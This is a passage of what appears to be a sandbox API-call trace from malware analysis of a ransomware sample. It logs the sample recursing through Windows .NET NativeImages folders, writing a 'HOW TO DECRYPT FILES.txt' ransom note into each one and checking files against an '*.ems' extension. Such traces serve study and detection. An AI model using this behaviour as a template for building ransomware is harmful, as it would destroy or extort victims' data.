lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\HOW TO DECRYPT FILES.txt" [0107.090] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\uiautomationprovider\\ab8ac659d9525c6a0cd22c6f3734862f\\how to decrypt files.txt")) returned 0xffffffff [0107.090] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\uiautomationprovider\\ab8ac659d9525c6a0cd22c6f3734862f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.127] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.127] CloseHandle (hObject=0x90) returned 1 [0107.127] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\", lpString2="UIAutomationProvider.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\UIAutomationProvider.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\UIAutomationProvider.ni.dll" [0107.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\UIAutomationProvider.ni.dll", pszSpec="*.ems") returned 0 [0107.128] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca0258b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfca0258b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfca0258b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationProvider.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 0 [0107.128] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.128] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfca286ec, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfca286ec, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfca286ec, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ab8ac659d9525c6a0cd22c6f3734862f", cAlternateFileName="AB8AC6~1")) returned 0 [0107.128] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.128] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb591ee, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfcb591ee, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfcb591ee, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x750041, cFileName="UIAutomationTypes", cAlternateFileName="UIAUTO~2")) returned 1 [0107.128] lstrcmpA (lpString1=".", lpString2="UIAutomationTypes") returned -1 [0107.128] lstrcmpA (lpString1="..", lpString2="UIAutomationTypes") returned -1 [0107.128] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.128] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="UIAutomationTypes" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes" [0107.128] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb591ee, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfcb591ee, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfcb591ee, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.130] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.130] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb591ee, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfcb591ee, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfcb591ee, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.131] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.131] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.131] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb591ee, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfcb591ee, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfcb591ee, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6820836e29efa97200d3fcfb4d0f170b", cAlternateFileName="682083~1")) returned 1 [0107.131] lstrcmpA (lpString1=".", lpString2="6820836e29efa97200d3fcfb4d0f170b") returned -1 [0107.131] lstrcmpA (lpString1="..", lpString2="6820836e29efa97200d3fcfb4d0f170b") returned -1 [0107.131] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\*.*") returned="*.*" [0107.131] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\", lpString2="6820836e29efa97200d3fcfb4d0f170b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b" [0107.131] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb591ee, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfcb591ee, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfcb591ee, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.132] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.132] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb591ee, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfcb591ee, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfcb591ee, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.132] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.132] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.132] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb3308d, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfcb3308d, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfcb3308d, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationTypes.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1 [0107.132] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.132] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationTypes.ni.dll") returned -1 [0107.132] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationTypes.ni.dll") returned -1 [0107.132] lstrcmpiA (lpString1="", lpString2="UIAutomationTypes.ni.dll") returned -1 [0107.132] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\*.*") returned="*.*" [0107.132] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\" [0107.132] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\") returned="" [0107.132] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\HOW TO DECRYPT FILES.txt" [0107.133] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\uiautomationtypes\\6820836e29efa97200d3fcfb4d0f170b\\how to decrypt files.txt")) returned 0xffffffff [0107.133] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\uiautomationtypes\\6820836e29efa97200d3fcfb4d0f170b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.136] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.136] CloseHandle (hObject=0x90) returned 1 [0107.136] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\", lpString2="UIAutomationTypes.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\UIAutomationTypes.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\UIAutomationTypes.ni.dll" [0107.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\UIAutomationTypes.ni.dll", pszSpec="*.ems") returned 0 [0107.137] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb3308d, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfcb3308d, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfcb3308d, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationTypes.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 0 [0107.137] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.137] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb591ee, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfcb591ee, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfcb591ee, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6820836e29efa97200d3fcfb4d0f170b", cAlternateFileName="682083~1")) returned 0 [0107.137] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.137] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67f7ab7, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf67f7ab7, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf67f7ab7, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x750041, cFileName="WindowsBase", cAlternateFileName="WINDOW~1")) returned 1 [0107.137] lstrcmpA (lpString1=".", lpString2="WindowsBase") returned -1 [0107.137] lstrcmpA (lpString1="..", lpString2="WindowsBase") returned -1 [0107.137] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.137] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="WindowsBase" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase" [0107.138] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67f7ab7, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf67f7ab7, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf67f7ab7, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.139] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.139] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67f7ab7, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf67f7ab7, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf67f7ab7, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.139] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.139] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.139] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67f7ab7, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf67f7ab7, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf67f7ab7, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="cf293040f3a93afa1ea782487acae816", cAlternateFileName="CF2930~1")) returned 1 [0107.139] lstrcmpA (lpString1=".", lpString2="cf293040f3a93afa1ea782487acae816") returned -1 [0107.139] lstrcmpA (lpString1="..", lpString2="cf293040f3a93afa1ea782487acae816") returned -1 [0107.140] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\*.*") returned="*.*" [0107.140] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\", lpString2="cf293040f3a93afa1ea782487acae816" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816" [0107.140] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67f7ab7, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf67f7ab7, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf67f7ab7, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.141] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.141] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67f7ab7, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf67f7ab7, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf67f7ab7, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.141] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.141] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.141] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf667acf4, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf667acf4, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf67393d5, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x331600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WindowsBase.ni.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0107.141] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.141] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsBase.ni.dll") returned -1 [0107.141] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsBase.ni.dll") returned -1 [0107.141] lstrcmpiA (lpString1="", lpString2="WindowsBase.ni.dll") returned -1 [0107.141] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\*.*") returned="*.*" [0107.141] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\" [0107.141] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\") returned="" [0107.141] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\HOW TO DECRYPT FILES.txt" [0107.141] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\windowsbase\\cf293040f3a93afa1ea782487acae816\\how to decrypt files.txt")) returned 0xffffffff [0107.142] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\windowsbase\\cf293040f3a93afa1ea782487acae816\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.145] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.168] CloseHandle (hObject=0x90) returned 1 [0107.168] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\", lpString2="WindowsBase.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\WindowsBase.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\WindowsBase.ni.dll" [0107.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\WindowsBase.ni.dll", pszSpec="*.ems") returned 0 [0107.170] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf667acf4, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf667acf4, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf67393d5, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x331600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="WindowsBase.ni.dll", cAlternateFileName="WINDOW~1.DLL")) returned 0 [0107.170] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.170] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67f7ab7, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf67f7ab7, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf67f7ab7, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="cf293040f3a93afa1ea782487acae816", cAlternateFileName="CF2930~1")) returned 0 [0107.170] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.170] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90a5a376, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90a5a376, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x90a5a376, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName="WindowsFormsIntegra#", cAlternateFileName="WINDOW~2")) returned 1 [0107.170] lstrcmpA (lpString1=".", lpString2="WindowsFormsIntegra#") returned -1 [0107.170] lstrcmpA (lpString1="..", lpString2="WindowsFormsIntegra#") returned -1 [0107.170] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.170] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="WindowsFormsIntegra#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#" [0107.170] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90a5a376, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90a5a376, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x90a5a376, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, 